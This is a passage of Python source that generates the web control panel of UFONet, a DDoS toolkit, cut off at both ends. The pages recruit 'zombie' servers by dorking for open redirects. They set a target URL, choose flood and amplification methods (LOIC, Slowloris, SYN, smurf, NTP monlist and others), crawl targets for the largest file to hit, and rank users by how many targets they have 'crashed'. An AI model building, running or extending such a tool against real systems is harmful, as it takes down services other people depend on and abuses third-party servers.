  1946. <script>function Board() {
  1947. var win_requests = window.open("board","_blank","fullscreen=no, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=860, height=480, resizable=yes", false);
  1948. }
  1949. </script>
  1950. </head>
  1951. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  1952. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  1953. <center>
  1954. <table cellpadding="38" cellspacing="38">
  1955. <tr>
  1956. <td>
  1957. <div class="ringMenu">
  1958. <ul>
  1959. <li class="main"><a target="_blank" href="wormhole">Wormhole</a></li>
  1960. <li class="top"><a href="botnet">Botnet</a></li>
  1961. <li class="right"><a href="inspect">Inspect</a></li>
  1962. <li class="bottom"><a href="attack">Attack</a></li>
  1963. <li class="left"><a href="help">Help</a></li>
  1964. </ul>
  1965. </div>
  1966. </td>
  1967. <td>
  1968. <table border="1" bgcolor="black" cellpadding="24" cellspacing="25">
  1969. <tr>
  1970. <td>
  1971. <pre>Welcome to: <a href="https://ufonet.03c8.net/" target="_blank">UFONet</a> | <a href="https://ufonet.03c8.net/FAQ.html" target="_blank">FAQ</a> - <a href="/help" target="_parent">Help</a> |
  1972. ----------------------------------
  1973. """ + self.options.version + """
  1974. - Rel: """ + self.release_date + """ - Dep: """ + time.ctime(os.path.getctime('ufonet')) + """
  1975. | <a href='javascript:runCommandX("cmd_check_tool")'>Auto-update</a> | <a href="https://code.03c8.net/epsylon/ufonet" target="_blank">Code</a> - <a href="https://github.com/epsylon/ufonet" target="_blank">Mirror</a> |
  1976. -----------------------------------
  1977. Mothership ID: <b>""" + str(self.mothership_id) + """</b>
  1978. - Your ranking is: <a href="/ranking" target="_blank"><b>""" + str(self.ranking) + """</a></b>
  1979. """+str(self.current_tasks)+"""</td>
  1980. <td>
  1981. <table>
  1982. <tr>
  1983. <td><img src='data:image/png;base64,"""+self.alien1_img+"""' onclick="News()"></td>
  1984. <td><img src='data:image/png;base64,"""+self.alien2_img+"""' onclick="Missions()"></td>
  1985. </tr>
  1986. <tr>
  1987. <td><img src='data:image/png;base64,"""+self.alien5_img+"""' onclick="Stats()"></td>
  1988. <td><img src='data:image/png;base64,"""+self.alien4_img+"""' onclick="Board()"></td>
  1989. </tr>
  1990. </table>
  1991. </td>
  1992. </tr>
  1993. </table>
  1994. </td>
  1995. </tr>
  1996. </table>
  1997. <div id="cmdOut"></div>
  1998. """ + self.pages["/footer"]
  1999. self.pages["/botnet"] = self.pages["/header"] + """<script language="javascript">
  2000. function Requests() {
  2001. var win_requests = window.open("requests","_blank","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  2002. }
  2003. function Maps() {
  2004. var win_map = window.open("cmd_view_army","_blank","fullscreen=yes, resizable=yes", false);
  2005. win_map.resizeTo(screen.width,screen.height);
  2006. }
  2007. function Start(){
  2008. dork=document.getElementById("dork").value
  2009. s_engine = document.getElementById('engines_list').options[document.getElementById('engines_list').selectedIndex].text;
  2010. if (document.getElementById("autosearch").checked){
  2011. document.getElementById("autosearch").value = "on";
  2012. } else {
  2013. document.getElementById("autosearch").value = "off";
  2014. }
  2015. autosearch = document.getElementById("autosearch").value
  2016. if (document.getElementById("dork_list").checked){
  2017. document.getElementById("dork_list").value = "on";
  2018. } else {
  2019. document.getElementById("dork_list").value = "off";
  2020. }
  2021. dork_list = document.getElementById("dork_list").value
  2022. if(dork == "" && dork_list == "off" && autosearch == "off") {
  2023. window.alert("You need to enter a source for dorking...");
  2024. return
  2025. }else{
  2026. if (document.getElementById("all_engines").checked){
  2027. document.getElementById("all_engines").value = "on";
  2028. exclude_engines=document.getElementById("exclude_engines").value
  2029. } else {
  2030. document.getElementById("all_engines").value = "off";
  2031. }
  2032. all_engines = document.getElementById("all_engines").value
  2033. params="autosearch="+escape(autosearch)+"&dork="+escape(dork)+"&dork_list="+escape(dork_list)+"&s_engine="+escape(s_engine)+"&all_engines="+escape(all_engines)+"&exclude_engines="+escape(exclude_engines)
  2034. runCommandX("cmd_search",params)
  2035. }
  2036. }
  2037. function showHide()
  2038. {
  2039. if(document.getElementById("dork_list").checked)
  2040. {
  2041. document.getElementById("dork_pattern").style.display = "none";
  2042. document.getElementById("autosearch_pattern").style.display = "none";
  2043. }
  2044. else {
  2045. document.getElementById("dork_pattern").style.display = "";
  2046. document.getElementById("autosearch_pattern").style.display = "";
  2047. }
  2048. }
  2049. function showHideEngines()
  2050. {
  2051. if(document.getElementById("all_engines").checked)
  2052. {
  2053. document.getElementById("s_engine").style.display = "none";
  2054. document.getElementById("sex_engine").style.display = "";
  2055. }
  2056. else {
  2057. document.getElementById("s_engine").style.display = "";
  2058. document.getElementById("sex_engine").style.display = "none";
  2059. }
  2060. }
  2061. function HideAll()
  2062. {
  2063. if(document.getElementById("autosearch").checked)
  2064. {
  2065. document.getElementById("s_engine").style.display = "none";
  2066. document.getElementById("dork_pattern").style.display = "none";
  2067. document.getElementById("list_pattern").style.display = "none";
  2068. document.getElementById("allengines_pattern").style.display = "none";
  2069. document.getElementById("all_engines").checked = false;
  2070. document.getElementById("dork_list").checked = false;
  2071. document.getElementById("dork").value = "";
  2072. }
  2073. else {
  2074. document.getElementById("s_engine").style.display = "";
  2075. document.getElementById("dork_pattern").style.display = "";
  2076. document.getElementById("list_pattern").style.display = "";
  2077. document.getElementById("allengines_pattern").style.display = "";
  2078. }
  2079. }
  2080. </script>
  2081. <script>function Blackholes() {
  2082. var win_requests = window.open("blackholes","_blank","fullscreen=no, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=860, height=480, resizable=yes", false);
  2083. }
  2084. </script>
  2085. </head>
  2086. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  2087. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  2088. <center>
  2089. <table cellpadding="38" cellspacing="38">
  2090. <tr>
  2091. <td>
  2092. <div class="ringMenu">
  2093. <ul>
  2094. <li class="main"><a href="botnet">Botnet</a></li>
  2095. <li class="top"><a href="help">Help</a></li>
  2096. <li class="right"><a href="inspect">Inspect</a></li>
  2097. <li class="bottom"><a href="attack">Attack</a></li>
  2098. <li class="left"><a href="gui">RETURN</a></li>
  2099. </ul>
  2100. </div>
  2101. </td>
  2102. <td>
  2103. <table bgcolor="black" cellpadding="24" cellspacing="25" border="1">
  2104. <tr><td>
  2105. <pre>
  2106. <button title="Configure how you will perform requests (proxy, HTTP headers, etc)..." onclick="Requests()">Configure requests</button> | * View Botnet: <button title="Build a map and geo-deploy your botnet on it..." onclick="Maps()">Generate map!</button>
  2107. <form method='GET'><br/><hr><div id="autosearch_pattern" style="display:block;">
  2108. * Search automatically (may take time!) <input type="checkbox" id="autosearch" onchange="HideAll()"></div><div id="dork_pattern" style="display:block;">
  2109. * Search using a dork: <input type="text" name="dork" id="dork" size="20" placeholder="proxy.php?url="></div><div id="list_pattern" style="display:block;">
  2110. * Search using a list (from: botnet/dorks.txt): <input type="checkbox" id="dork_list" onchange="showHide()"></div><div id="s_engine" name="s_engine" style="display:block;">
  2111. * Search using this search engine: <select id="engines_list">
  2112. <option value="duck" selected>duck</option>
  2113. <option value="bing">bing</option>
  2114. <option value="yahoo">yahoo</option>
  2115. <!-- <option value="google">google (no TOR!)</option>-->
  2116. <!-- <option value="yandex">yandex</option>-->
  2117. </select></div><div id="allengines_pattern" style="display:block;">
  2118. * Search using all search engines: <input type="checkbox" name="all_engines" id="all_engines" onchange="showHideEngines()"></div><div id="sex_engine" name="sex_engine" style="display:none;">
  2119. * Exclude this search engines: <input type="text" name="exclude_engines" id="exclude_engines" size="10" placeholder="Yahoo,Bing"></div></form>
  2120. <button title="Start to search for zombies..." style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;" onClick=Start()>SEARCH!</button>
  2121. <br><hr>
  2122. * Test Botnet: <br><br><center><a href='javascript:runCommandX("cmd_test_offline")'>Offline</a> | <a href='javascript:runCommandX("cmd_test_all")'>ALL</a> | <a href='javascript:runCommandX("cmd_test_army")'>Zombies</a> | <a href='javascript:runCommandX("cmd_test_rpcs")'>XML-RPCs</a> | <a href='javascript:runCommandX("cmd_attack_me")'>Attack Me!</a></center></td>
  2123. <td>
  2124. <table cellpadding="5" cellspacing="2">
  2125. <tr>
  2126. <td><img src='data:image/png;base64,"""+self.alien3_img+"""' onclick="Blackholes()"></td>
  2127. </tr>
  2128. <tr>
  2129. <table><tr>
  2130. <td>Total Botnet = <b><a href='javascript:runCommandX("cmd_list_army")'><font size='5'>"""+ self.total_botnet +"""</font></a></b></td>
  2131. </tr>
  2132. <tr><td><hr></td></tr>
  2133. <tr><td><table align="right"><tr><td>Zombies:</td><td><a href='javascript:runCommandX("cmd_list_zombies")'>"""+self.num_zombies+"""</a></td></tr></table></td></tr>
  2134. <tr><td><table align="right"><tr><td>Aliens:</td><td><a href='javascript:runCommandX("cmd_list_aliens")'>"""+self.num_aliens+"""</a></td></tr></table></td></tr>
  2135. <tr><td><table align="right"><tr><td>Droids:</td><td><a href='javascript:runCommandX("cmd_list_droids")'>"""+self.num_droids+"""</a></td></tr></table></td></tr>
  2136. <tr><td><table align="right"><tr><td>UCAVs:</td><td><a href='javascript:runCommandX("cmd_list_ucavs")'>"""+self.num_ucavs+"""</a></td></tr></table></td></tr>
  2137. <tr><td><table align="right"><tr><td>XML-RPCs:</td><td><a href='javascript:runCommandX("cmd_list_rpcs")'>"""+self.num_rpcs+"""</a></td></tr></table></td></tr>
  2138. </table>
  2139. </table>
  2140. </td>
  2141. </tr></table>
  2142. </td>
  2143. </tr></table>
  2144. <hr>
  2145. <div id="cmdOut"></div>
  2146. """ + self.pages["/footer"]
  2147. self.pages["/attack"] = self.pages["/header"] + """<script language="javascript">
  2148. function Requests() {
  2149. var win_requests = window.open("requests","_blank","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  2150. }
  2151. function Grid() {
  2152. var win_requests = window.open("grid","_blank","fullscreen=no, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  2153. }
  2154. function Wargames() {
  2155. var win_requests = window.open("wargames","_blank","fullscreen=no, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  2156. }
  2157. function ShowPanel() {
  2158. if (document.getElementById("extra_attack").checked){
  2159. document.getElementById("extra_panel").style.display = "block";
  2160. document.getElementById("loic").value = "";
  2161. document.getElementById("loris").value = "";
  2162. document.getElementById("ufosyn").value = "";
  2163. document.getElementById("spray").value = "";
  2164. document.getElementById("smurf").value = "";
  2165. document.getElementById("xmas").value = "";
  2166. document.getElementById("nuke").value = "";
  2167. document.getElementById("tachyon").value = "";
  2168. document.getElementById("monlist").value = "";
  2169. document.getElementById("dbstress").value = "";
  2170. } else {
  2171. document.getElementById("extra_panel").style.display = "none";
  2172. document.getElementById("loic").value = "";
  2173. document.getElementById("loris").value = "";
  2174. document.getElementById("ufosyn").value = "";
  2175. document.getElementById("spray").value = "";
  2176. document.getElementById("smurf").value = "";
  2177. document.getElementById("xmas").value = "";
  2178. document.getElementById("nuke").value = "";
  2179. document.getElementById("tachyon").value = "";
  2180. document.getElementById("monlist").value = "";
  2181. document.getElementById("dbstress").value = "";
  2182. }
  2183. }
  2184. function Maps() {
  2185. var win_map = window.open("/cmd_view_attack?target="+target,"_blank","fullscreen=yes, resizable=yes", false);
  2186. win_map.resizeTo(screen.width,screen.height);
  2187. }
  2188. function Start(){
  2189. document.getElementById("attack_button").text = "STOP!"
  2190. document.getElementById("attack_button").style = "color:red; height:40px; width:240px; font-weight:bold; background-color:yellow; border: 2px solid red;"
  2191. target=document.getElementById("target").value
  2192. String.prototype.startsWith = function(prefix){
  2193. return this.indexOf(prefix) === 0;
  2194. }
  2195. if(target.startsWith("http")){
  2196. path=document.getElementById("path").value
  2197. rounds=document.getElementById("rounds").value
  2198. dbstress=document.getElementById("dbstress").value
  2199. loic=document.getElementById("loic").value
  2200. loris=document.getElementById("loris").value
  2201. ufosyn=document.getElementById("ufosyn").value
  2202. spray=document.getElementById("spray").value
  2203. smurf=document.getElementById("smurf").value
  2204. xmas=document.getElementById("xmas").value
  2205. nuke=document.getElementById("nuke").value
  2206. tachyon=document.getElementById("tachyon").value
  2207. monlist=document.getElementById("monlist").value
  2208. if(ufosyn || spray || smurf || xmas || nuke || tachyon || monlist){ // root required!
  2209. window.alert("You need 'root' access!. Check shell and enter your password.");
  2210. }
  2211. params="path="+escape(path)+"&rounds="+escape(rounds)+"&target="+escape(target)+"&dbstress="+escape(dbstress)+"&loic="+escape(loic)+"&loris="+escape(loris)+"&ufosyn="+escape(ufosyn)+"&spray="+escape(spray)+"&smurf="+escape(smurf)+"&xmas="+escape(xmas)+"&nuke="+escape(nuke)+"&tachyon="+escape(tachyon)+"&monlist="+escape(monlist)
  2212. if (document.getElementById("visual_attack").checked){
  2213. document.getElementById("visual_attack").value = "on";
  2214. } else {
  2215. document.getElementById("visual_attack").value = "off";
  2216. }
  2217. if(document.getElementById("visual_attack").value=="on"){
  2218. Maps()
  2219. }
  2220. }else{
  2221. window.alert("You need to enter a valid url: http(s)://target.com");
  2222. return
  2223. }
  2224. runCommandX("cmd_attack",params)
  2225. }
  2226. </script>
  2227. </head>
  2228. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  2229. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  2230. <center>
  2231. <table cellpadding="38" cellspacing="38">
  2232. <tr>
  2233. <td>
  2234. <div class="ringMenu">
  2235. <ul>
  2236. <li class="main"><a href="attack">Attack</a></li>
  2237. <li class="top"><a href="help">Help</a></li>
  2238. <li class="right"><a href="botnet">Botnet</a></li>
  2239. <li class="bottom"><a href="inspect">Inspect</a></li>
  2240. <li class="left"><a href="gui">RETURN</a></li>
  2241. </ul>
  2242. </div>
  2243. </td>
  2244. <td>
  2245. <table bgcolor="black" cellpadding="24" cellspacing="25" border="1">
  2246. <tr><td>
  2247. <pre>
  2248. * Set your target: <input type="text" name="target" id="target" size="30" placeholder="http(s)://" required pattern="https?://.+">
  2249. * Set place to attack: <input type="text" name="path" id="path" size="30" placeholder="/path/big.jpg">
  2250. * Number of rounds: <input type="text" name="rounds" id="rounds" size="5" value="1">
  2251. <hr>
  2252. <button title="Configure how you will perform requests (proxy, HTTP headers, etc)..." onclick="Requests()">Configure requests</button> | <input type="checkbox" name="visual_attack" id="visual_attack"> Generate map! | <input type="checkbox" name="extra_attack" id="extra_attack" onclick='javascript:ShowPanel();'> Extra(s)
  2253. <hr><div id="extra_panel" style="display:none;">
  2254. <table bgcolor="black" cellpadding="4" cellspacing="5" border="1"><tr>
  2255. <td align="left">* <a href="https://en.wikipedia.org/wiki/Low_Orbit_Ion_Cannon" target="_blank">LOIC</a>:</td><td align="right"> <input type="text" name="loic" id="loic" size="4" placeholder="100"></td>
  2256. <td align="left">* <a href="https://en.wikipedia.org/wiki/Slowloris_(software)" target="_blank">LORIS</a>:</td><td align="right"> <input type="text" name="loris" id="loris" size="4" placeholder="101"></td>
  2257. <td align="left">* <a href="https://en.wikipedia.org/wiki/SYN_flood" target="_blank">UFOSYN</a>:</td><td align="right"> <input type="text" name="ufosyn" id="ufosyn" size="4" placeholder="100"></td></tr><tr>
  2258. <td align="left">* <a href="https://en.wikipedia.org/wiki/DRDOS" target="_blank">SPRAY</a>:</td><td align="right"> <input type="text" name="spray" id="spray" size="4" placeholder="110"></td>
  2259. <td align="left">* <a href="https://en.wikipedia.org/wiki/Smurf_attack" target="_blank">SMURF</a>:</td><td align="right"> <input type="text" name="smurf" id="smurf" size="4" placeholder="100"></td>
  2260. <td align="left">* <a href="https://en.wikipedia.org/wiki/Christmas_tree_packet" target="_blank">XMAS</a>:</td><td align="right"> <input type="text" name="xmas" id="xmas" size="4" placeholder="111"></td></tr><tr>
  2261. <td align="left">* <a href="https://dl.packetstormsecurity.net/papers/general/tcp-starvation.pdf" target="_blank">NUKE</a>:</td><td align="right"> <input type="text" name="nuke" id="nuke" size="4" placeholder="10000"></td>
  2262. <td align="left">* <a href="https://www.us-cert.gov/ncas/alerts/TA13-088A" target="_blank">TACHYON</a>:</td><td align="right"> <input type="text" name="tachyon" id="tachyon" size="4" placeholder="1000"></td>
  2263. <td align="left">* <a href="https://www.us-cert.gov/ncas/alerts/TA14-013A" target="_blank">MONLIST</a>:</td><td align="right"> <input type="text" name="monlist" id="monlist" size="4" placeholder="1001"></td></tr>
  2264. </table>
  2265. <hr>
  2266. * Set db stress parameter: <input type="text" name="dbstress" id="dbstress" size="22" placeholder="search.php?q=">
  2267. <hr></div>
  2268. <button title="Start to attack your target..." onClick=Start() style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;" id="attack_button">ATTACK!</button> | Total Botnet = <b><a href='javascript:runCommandX("cmd_list_army")'><font size='5'>"""+ self.total_botnet +"""</font></a></b></pre>
  2269. </td><td>
  2270. <table><tr><td><img src='data:image/png;base64,"""+self.alien6_img+"""' onclick="Grid()"></td></tr><tr><td><img src='data:image/png;base64,"""+self.alien8_img+"""' onclick="Wargames()"></td></tr></table>
  2271. </td></tr></table>
  2272. </td></tr></table>
  2273. <hr>
  2274. <div id="cmdOut"></div>
  2275. """ + self.pages["/footer"]
  2276. self.pages["/help"] = self.pages["/header"] + """<script language="javascript">
  2277. function show(one) {
  2278. var nb = document.getElementsByTagName("div");
  2279. for(var x=0; x<nb.length; x++) {
  2280. name = nb[x].getAttribute("class");
  2281. if (name == 'nb') {
  2282. if (nb[x].id == one) {
  2283. nb[x].style.display = 'block';
  2284. }
  2285. else {
  2286. nb[x].style.display = 'none';
  2287. }
  2288. }
  2289. }
  2290. }
  2291. </script>
  2292. <style>.container{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;}svg{max-width:8rem;}.masking{-webkit-transform: scale(0);transform:scale(0);-webkit-transform-origin:178px;transform-origin:178px;-webkit-animation: scale 3s linear infinite; animation: scale 3s linear infinite;}@-webkit-keyframes scale{80%{opacity: 1;}100%{-webkit-transform: scale(1);transform: scale(1);opacity: 0;}}@keyframes scale{80% {opacity: 1;}100%{-webkit-transform: scale(1);transform: scale(1);opacity: 0;}}</style>
  2293. </head>
  2294. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  2295. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  2296. <center>
  2297. <table cellpadding="38" cellspacing="38">
  2298. <tr>
  2299. <td>
  2300. <div class="ringMenu">
  2301. <ul>
  2302. <li class="main"><a href="help">Help</a></li>
  2303. <li class="top"><a href="botnet">Botnet</a></li>
  2304. <li class="right"><a href="inspect">Inspect</a></li>
  2305. <li class="bottom"><a href="attack">Attack</a></li>
  2306. <li class="left"><a href="gui">RETURN</a></li>
  2307. </ul>
  2308. </div>
  2309. </td>
  2310. <td>
  2311. <table cellpadding="24" cellspacing="25" border="1">
  2312. <tr><td><pre>
  2313. <div><a id="mH1" href="javascript:show('nb1');" style="text-decoration: none;" >+ Project info</a></div>
  2314. <div class="nb" id="nb1" style="display: none;"> <b>UFONet</b> - is a set of tools designed to launch <a href="https://en.wikipedia.org/wiki/Distributed_denial-of-service" target="_blank">DDoS</a> and <a href="https://en.wikipedia.org/wiki/Denial-of-service_attack" target="_blank">DoS</a> attacks
  2315. and that allows to combine both in a single offensive.
  2316. </div><div><a id="mH2" href="javascript:show('nb2');" style="text-decoration: none;" >+ How does it work?</a></div> <div class="nb" id="nb2" style="display: none;"> You can read more info on next links:
  2317. - <a href="https://cwe.mitre.org/data/definitions/601.html" target="_blank">CWE-601:Open Redirect</a>
  2318. - <a href="https://www.owasp.org/index.php/OWASP_Periodic_Table_of_Vulnerabilities_-_URL_Redirector_Abuse2" target="_blank">OWASP:URL Redirector Abuse</a>
  2319. - <a href="https://ufonet.03c8.net/ufonet/ufonet-schema.png" target="_blank">UFONet:Botnet Schema</a></div> <div><a id="mH3" href="javascript:show('nb3');" style="text-decoration: none;" >+ How to start?</a></div> <div class="nb" id="nb3" style="display: none;"> All you need to start an attack is:
  2320. - a list of '<a href="https://en.wikipedia.org/wiki/Zombie" target="_blank">zombies</a>'; to conduct their connections to your target
  2321. - a place; to efficiently hit your target</div> <div><a id="mH4" href="javascript:show('nb4');" style="text-decoration: none;" >+ Updating</a></div><div class="nb" id="nb4" style="display: none;">
  2322. This feature can be used <u>ONLY</u> if you have cloned UFONet.
  2323. - <i>git clone <a href="https://code.03c8.net/epsylon/ufonet" target="_blank">https://code.03c8.net/epsylon/ufonet</a></i>
  2324. - <i>git clone <a href="https://github.com/epsylon/ufonet" target="_blank">https://github.com/epsylon/ufonet</a></i>
  2325. </div><div>
  2326. <a id="mH5" href="javascript:show('nb5');" style="text-decoration: none;" >+ FAQ/Issues?</a></div><div class="nb" id="nb5" style="display: none;">
  2327. If you have problems with UFONet, try to solve them following next links:
  2328. - <a href="https://ufonet.03c8.net/FAQ.html" target="_blank">Website FAQ</a> section
  2329. - UFONet <a href="https://github.com/epsylon/ufonet/issues" target="_blank">issues</a></div>
  2330. <div><a id="mH6" href="javascript:show('nb6');" style="text-decoration: none;" >+ How can help?</a></div> <div class="nb" id="nb6" style="display: none;"> - Testing; use the tool and search for possible bugs and new ideas
  2331. - Coding; you can try to develop more features
  2332. - Promoting; talk about UFONet on the internet, events, hacklabs, etc
  2333. - Donating; <a href="https://blockchain.info/address/19aXfJtoYJUoXEZtjNwsah2JKN9CK5Pcjw" target="_blank">bitcoin</a>, objects, support, love ;-)</div> <div><a id="mH7" href="javascript:show('nb7');" style="text-decoration: none" >+ Contact methods</a></div> <div class="nb" id="nb7" style="display: none;"> You can contact using:
  2334. - Email: <a href="mailto: epsylon@riseup.net">epsylon@riseup.net</a> [GPG:0xB8AC3776]
  2335. - <a target="_blank" href="wormhole">Wormhole</a>: irc.freenode.net / #ufonet
  2336. </div></td> </tr></table> </td></tr></table>
  2337. """ + self.pages["/footer"]
  2338. self.pages["/inspect"] = self.pages["/header"] + """<script language="javascript">
  2339. function Requests() {
  2340. var win_requests = window.open("requests","_blank","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  2341. }
  2342. function Abduction() {
  2343. var win_requests = window.open("abduction","_blank","fullscreen=no, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  2344. }
  2345. function Start(){
  2346. target=document.getElementById("target").value
  2347. String.prototype.startsWith = function(prefix){
  2348. return this.indexOf(prefix) === 0;
  2349. }
  2350. if(target.startsWith("http")){
  2351. params="target="+escape(target)
  2352. }else{
  2353. window.alert("You need to enter a valid url: http(s)://target.com/page.html");
  2354. return
  2355. }
  2356. runCommandX("cmd_inspect",params)
  2357. }
  2358. </script>
  2359. </head>
  2360. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  2361. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  2362. <center>
  2363. <table cellpadding="38" cellspacing="38">
  2364. <tr>
  2365. <td>
  2366. <div class="ringMenu">
  2367. <ul>
  2368. <li class="main"><a href="inspect">Inspect</a></li>
  2369. <li class="top"><a href="help">Help</a></li>
  2370. <li class="right"><a href="botnet">Botnet</a></li>
  2371. <li class="bottom"><a href="attack">Attack</a></li>
  2372. <li class="left"><a href="gui">RETURN</a></li>
  2373. </ul>
  2374. </div>
  2375. </td>
  2376. <td>
  2377. <table bgcolor="black" cellpadding="24" cellspacing="25" border="1">
  2378. <tr>
  2379. <td>
  2380. <pre>
  2381. This feature will provide you the biggest file on target.
  2382. You can use this before to attack to be more effective.
  2383. <button title="Configure how you will perform requests (proxy, HTTP headers, etc)..." onclick="Requests()">Configure requests</button>
  2384. <hr>
  2385. * Set page to crawl: <input type="text" name="target" id="target" size="30" placeholder="http(s)://target.com/list_videos.php">
  2386. <hr>
  2387. <button title="Start to search for biggest file on your target..." onClick=Start() style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;">INSPECT!</button></pre>
  2388. </td><td><img src='data:image/png;base64,"""+self.alien7_img+"""' onclick="Abduction()"></td>
  2389. </tr></table>
  2390. </td>
  2391. </tr>
  2392. </table>
  2393. <hr>
  2394. <div id="cmdOut"></div>
  2395. """ + self.pages["/footer"]
  2396. self.pages["/ranking"] = self.pages["/header"] + """<script language="javascript">
  2397. function Grid() {
  2398. var win_requests = window.open("grid","_parent","fullscreen=no, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  2399. }
  2400. function Stats() {
  2401. var win_requests = window.open("stats","_parent","fullscreen=no, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  2402. }
  2403. function Sync_ranking(){
  2404. ranking_source=document.getElementById("ranking_source").value
  2405. if(ranking_source == "") {
  2406. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  2407. return
  2408. }else{
  2409. params="ranking_source="+escape(ranking_source)
  2410. runCommandX("cmd_refresh_ranking",params)
  2411. document.getElementById("nb1").style.display = "none";
  2412. document.getElementById("nb1").style.display = "block";
  2413. setTimeout("location.reload()", 10000)
  2414. }
  2415. }
  2416. </script></head>
  2417. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  2418. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  2419. <center>
  2420. <table bgcolor="black" cellpadding="24" cellspacing="25" border="0"><tr>
  2421. <td><a href="javascript:alert('Commander DPR says: I love new blood!! """ + self.ranking + """, in the Ranking section you can see information about how to raise your grade, meet the best UFOMasters, be close to those who are like you and try to find partners to dominate the multi-verse... Until then: Dont be evil!');"><img src='data:image/png;base64,"""+self.commander_img+"""'></a></td>
  2422. <td>GRADUATION/CLANS device: <font color='green'>ON</font><br><br><button title="Review stats from other motherships and share yours with them..." onclick="Grid()">VISIT GRID!</button> <button title="Visit your own stats..." onclick="Stats()">VISIT STATS!</button></td>
  2423. </tr></table>
  2424. <table cellpadding="5" cellspacing="10">
  2425. <tr>
  2426. <td align="center">
  2427. Your ranking is: <b>""" + str(self.ranking) + """</b>
  2428. </td>
  2429. </tr>
  2430. <tr>
  2431. <td>
  2432. <table border="1" cellpadding="10" cellspacing="10">
  2433. <tr>
  2434. <td align="center"><b><u>GRADE:</u></b></td><td align="center"><b><u>RANKING:</u></b></td><td align="center"><b><u>REQUIRED:</u></b></td></tr>
  2435. <tr>
  2436. <td align="center"><font color='orange' size='4'>-</font></td><td align="center"><font color='orange'>Unknown</font></td><td align='center'><a style="text-decoration:none" href="javascript:alert('You havent a correct key set on your configuration to unmask this Motherships!');">KEY?</a></td></tr>
  2437. <tr>
  2438. <td align="center"><font color='white' size='4'>*</font></td><td align="center"><font color='white'>Rookie</font></td><td align='center'><font color='white'>missions<4</font></td></tr>
  2439. <tr>
  2440. <td align="center"><font color='cyan' size='4'>**</font></td><td align="center"><font color='cyan'>Mercenary</font></td><td align='center'><font color='cyan'>missions>4</font></td></tr>
  2441. <tr>
  2442. <td align="center"><font color='blueviolet' size='4'>***</font></td><td align="center"><font color='blueviolet'>Bandit</font></td><td align='center'><font color='blueviolet'>crashed=1</font></td></tr>
  2443. <tr>
  2444. <td align="center"><font color='blue' size='4'>****</font></td><td align="center"><font color='blue'>UFOmmander!</font></td><td align='center'><font color='blue'>crashed>1<4</font></td></tr>
  2445. <tr>
  2446. <td align="center"><font color='red' size='4'>&#x25BC;</font></td><td align="center"><font color='red'>UFOl33t!</font></td><td align='center'><font color='red'><a style="text-decoration:none" href="javascript:alert('Secret Achievement!');">???</a></font></td></tr>
  2447. </table>
  2448. </td>
  2449. </tr></table>
  2450. <br>
  2451. <table cellpadding="5" cellspacing="10">
  2452. <tr>
  2453. <td>Blackhole/IP:</td>
  2454. <td><input type="text" name="ranking_source" id="ranking_source" size="20" value='"""+default_blackhole+"""'></td>
  2455. <td><button title="Syncronize data from a blackhole with your device..." onclick="Sync_ranking()">DOWNLOAD!</button></td>
  2456. </tr></table>
  2457. <br>
  2458. <div id="nb2" style="display: none;">"""+str(self.extract_ranking_table())+"""</div>
  2459. Last update: <font color='"""+ self.ranking_status_color + """'>"""+ self.ranking_datetime + """</font><br><br>
  2460. <div id="cmdOut"></div>
  2461. <div id="nb1" style="display: block;">"""+self.ranking_text+"""</div>
